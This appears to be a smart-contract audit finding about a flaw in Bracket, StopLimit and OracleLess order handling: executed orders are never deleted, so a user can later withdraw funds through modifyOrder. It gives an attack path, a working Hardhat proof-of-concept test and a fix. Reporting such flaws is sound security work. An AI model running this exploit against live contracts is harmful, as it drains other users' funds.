087.md

Bald Honeysuckle Urchin

High

A user can steal funds after his order was executed

Summary

A vulnerability was discovered in Bracket::performUpkeep where orderId is removed from the pendingOrderIds, but it still remains active. Similar case for StopLimit::performUpkeep and OracleLess::fillOrder, where order are not deleted from mapping after orders are executed

Root Cause

In Bracket::performUpkeep, orderId is removed from the pendingOrderIds, but the order is not deleted. So when the user calls modifyOrder with the same orderId and increasePosition false, he can still pull funds from the contract. Same case for StopLimit::performUpkeep and in case of OracleLess::fillOrder, order is not deleted after orders are fulfilled.

Attack Path

1. User creates an order calling createOrder
2. A keeper or bot calls performUpkeep when the order is executable
3. User now calls modifyOrder with argument increasePosition to false and amountInDelta such that it passes the condition in line 264 In this way any user can steal funds from the contract

Impact

Loss of funds from the contract. Other users will be affected

PoC

Paste the following code in test/triggerV2/happyPath.ts:

it("Steal funds after performUpkeep in Bracket", async () => {
        await stealMoney(s.wethWhale, await s.Frank.getAddress(), await s.WETH.getAddress(), s.wethAmount)
        await stealMoney(s.wethWhale, await s.Bracket.getAddress(), await s.WETH.getAddress(), s.wethAmount * 2n)
        await stealMoney(s.usdcWhale, await s.Bracket.getAddress(), await s.USDC.getAddress(), s.usdcAmount * 2n)

        const currentPrice = await s.Master.getExchangeRate(await s.WETH.getAddress(), await s.USDC.getAddress())

        await s.WETH.connect(s.Frank).approve(await s.Bracket.getAddress(), s.wethAmount)
        await s.Bracket.connect(s.Frank).createOrder(
            "0x",
            currentPrice,
            currentPrice,
            s.wethAmount,
            await s.WETH.getAddress(),
            await s.USDC.getAddress(),
            await s.Frank.getAddress(),
            5,
            500,
            500,
            false,
            "0x"
        )

        const filter = s.Bracket.filters.OrderCreated
        const events = await s.Bracket.queryFilter(filter, -1)
        const event = events[0].args
        orderId = (event[0])

        const result = await s.Bracket.checkUpkeep("0x")

        //get returned upkeep data
        const data: MasterUpkeepData = await decodeUpkeepData(result.performData, s.Frank)

        //get minAmountReceived
        const minAmountReceived = await s.Master.getMinAmountReceived(data.amountIn, data.tokenIn, data.tokenOut, data.bips)

        //generate encoded masterUpkeepData
        const encodedTxData = await generateUniTx(
            s.router02,
            s.UniPool,
            await s.Bracket.getAddress(),
            minAmountReceived,
            data
        )

        // perform upkeep
        await s.Bracket.performUpkeep(encodedTxData)

        const wethBalanceBefore = await s.WETH.balanceOf(await s.Frank.getAddress())
        console.log("Weth balance before: ", wethBalanceBefore)

        expect(wethBalanceBefore).to.be.equal(0)

        await s.Bracket.connect(s.Frank).modifyOrder(
            orderId.toString(),
            currentPrice,
            currentPrice + BigInt(1e18),
            s.wethAmount / 2n,
            await s.USDC.getAddress(),
            s.Frank,
            500,
            500,
            false,
            false,
            "0x"
        )

        const wethBalanceAfter = await s.WETH.balanceOf(await s.Frank.getAddress())
        console.log("Weth balance after: ", wethBalanceAfter)

        // user just pulled funds from the contract even after his order was executed
        expect(wethBalanceAfter).to.greaterThan(wethBalanceBefore)
        expect(wethBalanceAfter).to.be.equal(s.wethAmount / 2n)
    })

run npm run test

Mitigation

delete the order after executing the order in performUpkeep:

function performUpkeep(
        bytes calldata performData
    ) external override nonReentrant {
        /// .....

        //send tokenOut to recipient
        order.tokenOut.safeTransfer(order.recipient, adjustedAmount);

        //refund any unspent tokenIn
        //this should generally be 0 when using exact input for swaps, which is recommended
        if (tokenInRefund != 0) {
            order.tokenIn.safeTransfer(order.recipient, tokenInRefund);
        }

        //emit
        emit OrderProcessed(order.orderId);
+       delete orders[orderId];
    }

Similar implementation for StopLimit::performUpkeep and OracleLess::fillOrder, order should be deleted from mapping after it is fulfilled